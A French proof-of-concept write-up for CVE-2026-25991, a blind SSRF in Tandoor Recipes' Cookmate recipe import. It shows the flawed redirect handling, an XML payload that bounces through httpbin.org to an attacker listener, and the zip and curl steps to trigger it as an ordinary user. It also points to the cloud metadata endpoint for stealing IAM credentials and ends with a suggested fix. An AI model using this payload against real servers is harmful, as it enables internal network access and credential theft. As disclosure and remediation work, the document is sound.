
Preuve de concept d'exploitation pour CVE-2026-25991, une SSRF aveugle dans l'import Cookmate de Tandoor Recipes, permettant aux utilisateurs authentifiés d'accéder aux ressources internes.
Preuve de concept pour SSRF via l'import de recettes
Divulgation : Signalé à l'origine par moi via GHSA-j6xg-85mh-qqf7
⚠️ Usage autorisé uniquement pour les tests d'intrusion et la recherche.
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-25991 |
| Sévérité | 🔴 Élevée |
| Score CVSS | 7.7 |
| Vecteur CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918 : Server-Side Request Forgery (SSRF) |
| Produit concerné | Tandoor Recipes ≤ 2.5.0 |
| Version corrigée | 2.5.1 |
| Avis de sécurité | GHSA-j6xg-85mh-qqf7 |
J'ai découvert une vulnérabilité de Server-Side Request Forgery (SSRF) aveugle dans la fonctionnalité d'import de recettes Cookmate de Tandoor Recipes. L'application ne valide pas l'URL de destination après avoir suivi les redirections HTTP, ce qui permet à tout utilisateur authentifié (y compris les utilisateurs standard sans privilèges administratifs) de forcer le serveur à se connecter à des ressources internes ou externes arbitraires.
Cette vulnérabilité peut être exploitée pour scanner les ports du réseau interne, accéder aux métadonnées des instances cloud (par exemple, le service de métadonnées AWS/GCP) ou divulguer l'adresse IP réelle du serveur.
La vulnérabilité se situe dans cookbook/integration/cookmate.py, au sein de la classe d'intégration Cookmate.
imageurl.validate_import_url (dans cookbook/helper/HelperFunctions.py), qui bloque correctement les plages d'adresses IP privées (par exemple, 127.0.0.1, 10.0.0.0/8).requests.get(url) pour télécharger l'image. Par défaut, la bibliothèque requests suit les redirections (allow_redirects=True).
La fonction validate_import_url vérifie uniquement l'URL initiale mais ne valide pas la destination finale après qu'une redirection se produit.Extrait de code vulnérable (cookbook/integration/cookmate.py:73) :
if validate_import_url(url):
# CRITIQUE : requests.get suit les redirections par défaut, contournant la vérification initiale.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
Un attaquant peut utiliser un service externe (comme httpbin.org) pour rediriger la requête vers une adresse interne restreinte (par exemple, http://127.0.0.1:80/ ou http://169.254.169.254/).
Point crucial : la AppImportView (cookbook/views/api.py) autorise explicitement les permissions CustomIsUser, ce qui signifie que TOUT utilisateur enregistré peut déclencher cette vulnérabilité. Aucun droit administratif spécial n'est requis.
Prérequis :
nc).Étapes pour reproduire :
Configurer un écouteur (machine de l'attaquant) :
Ouvrez un terminal et lancez nc pour écouter les connexions entrantes. Cela simule un service interne ou un serveur contrôlé par l'attaquant.
nc -lvnp 9999
Créer une charge utile XML malveillante :
Créez un fichier nommé payload.xml. Remplacez <YOUR_IP> par votre adresse IP publique (ou une IP accessible).
Cette charge utile utilise httpbin.org pour contourner la vérification initiale des IP privées et rediriger vers votre écouteur.
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Redirection vers un service interne ou l'écouteur de l'attaquant -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

Créer une archive ZIP : Tandoor exige que le XML soit dans un fichier ZIP.
zip payload.zip payload.xml
Exécuter l'exploit (via l'API) :
Connectez-vous en tant qu'utilisateur standard (pas administrateur) pour obtenir le cookie de session et le jeton CSRF.
Ensuite, envoyez une requête POST à /api/import/ :
(Remplacez <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> par les valeurs réelles)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc). Vous verrez une requête HTTP GET entrante provenant du serveur Tandoor.
Cela confirme que le serveur, agissant au nom d'un utilisateur standard, s'est connecté à une ressource externe/interne arbitraire.
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/) pour voler les identifiants IAM, conduisant à un compromis complet de l'infrastructure.Désactivez le suivi automatique des redirections dans l'appel requests.get ou implémentez une validation stricte des URL de redirection.
Diff (correctif proposé) :
# cookbook/integration/cookmate.py
# Option 1 : Désactiver les redirections (recommandé)
response = requests.get(url, allow_redirects=False)
# Option 2 : Valider les redirections
# (Logique complexe requise pour vérifier chaque saut de redirection par rapport aux plages d'IP privées)